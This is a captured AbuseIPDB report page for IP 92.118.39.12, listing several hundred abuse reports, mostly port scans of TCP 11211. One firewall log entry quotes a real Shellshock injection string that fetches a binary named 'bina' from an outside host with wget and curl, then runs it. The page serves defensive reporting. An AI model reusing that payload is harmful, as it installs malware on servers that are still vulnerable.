AbuseIPDB » 92.118.39.12

Check an IP Address, Domain Name, or Subnet

e.g. 44.210.21.70, microsoft.com, or 5.188.10.0/24

92.118.39.12 was found in our database!

This IP was reported 359 times. Confidence of Abuse is 66%: ?

66%

ISP	Pptechnology Limited
Usage Type	Data Center/Web Hosting/Transit
Domain Name	dmzhost.co
Country	Romania
City	Bucharest, Bucuresti

IP info including ISP, Usage Type, and Location provided by IP2Location. Updated monthly.

Report 92.118.39.12

Whois 92.118.39.12

IP Abuse Reports for 92.118.39.12:

This IP address has been reported a total of 359 times from 71 distinct sources. 92.118.39.12 was first reported on March 12th 2022, and the most recent report was 3 weeks ago.

Old Reports: The most recent abuse report for this IP address is from 3 weeks ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	Date	Comment	Categories
Markus Holland-Letz	12 Jul 2022	SSLVPN: id=sslvpn sn=xxxxxx time="2022-06-25 05:42:30" vp_time="2022-06-25 03:42:30 UTC" fw=x ... show moreSSLVPN: id=sslvpn sn=xxxxxx time="2022-06-25 05:42:30" vp_time="2022-06-25 03:42:30 UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=92.118.39.12 dst=xxx.xxx.xxx.xxx user="Unknown" usr="Unknown" msg="WAF threat prevented: System Command Injection Variant 2" URI=xxx.xxx.xxx.xxx:443/cgi-bin/jarrewrite.sh rule-match="() { :; }; echo ; /bin/bash -c 'cd /tmp cd /var/run cd /mnt cd /root cd /; wget http:/104.149.146.18:89/bina;curl -O http:/" AttackCat="System Command Injection Variant 2" summ="This technique allows an attacker to execute OS commands by manipulating application input" sigid="9012" category="Command Execution--OS Commanding" agent="() { :; }; echo ; /bin/bash -c 'cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://104.149.146.18:89/bina;curl -O http://104.149.146.18:89/bina; chmod 777 bina;./bina;sh bina'" show less	SQL Injection
EricTheRedFL	27 Jun 2022	Port scan of TCP port 11211	Port Scan Hacking
auto_reporter	26 Jun 2022	Unauthorized port sweep	Port Scan
auto_reporter	26 Jun 2022	Unauthorized port sweep	Port Scan
auto_reporter	26 Jun 2022	Unauthorized port sweep	Port Scan
StatsMe	26 Jun 2022	2022-06-26T00:23:43.294867+0300 ET CINS Active Threat Intelligence Poor Reputation IP group 95	Port Scan Hacking Spoofing Brute-Force
cyanryaku	26 Jun 2022	ufw_block_log	Port Scan
EricTheRedFL	26 Jun 2022	Port scan of TCP port 11211	Port Scan Hacking
geot	26 Jun 2022	TCP port : 11211	Port Scan
alliance	26 Jun 2022	26.06.2022 06:42:37 Connection to port 11211 blocked by firewall	Port Scan
nexryai	26 Jun 2022	Jun 25 23:57:20 alpha-d1e0719b8c kernel: [4652792.716997] [UFW BLOCK] IN=eth0 OUT= MAC=00:16:3c:27:d ... show moreJun 25 23:57:20 alpha-d1e0719b8c kernel: [4652792.716997] [UFW BLOCK] IN=eth0 OUT= MAC=00:16:3c:27:d1:16:64:64:9b:93:95:0e:08:00 SRC=92.118.39.12 DST=79.124.77.46 LEN=40 TOS=0x08 PREC=0x20 TTL=245 ID=54321 PROTO=TCP SPT=59550 DPT=11211 WINDOW=65535 RES=0x00 SYN URGP=0 Jun 26 05:59:54 alpha-d1e0719b8c kernel: [4674547.663302] [UFW BLOCK] IN=eth0 OUT= MAC=00:16:3c:27:d1:16:3c:61:04:a4:1f:7c:08:00 SRC=92.118.39.12 DST=79.124.77.46 LEN=40 TOS=0x08 PREC=0x20 TTL=245 ID=54321 PROTO=TCP SPT=38435 DPT=11211 WINDOW=65535 RES=0x00 SYN URGP=0 ... show less	Port Scan
jgrunder	26 Jun 2022	Unauthorized connection attempt to a closed port ...	Port Scan Brute-Force
KPS	25 Jun 2022	PortscanM	Port Scan
cyanryaku	25 Jun 2022	ufw_block_log_banned	Port Scan
stfw	25 Jun 2022	11211/tcp 123/udp 60001/tcp... [2022-04-25/06-25]17pkt,3pt.(tcp),2pt.(udp)	Port Scan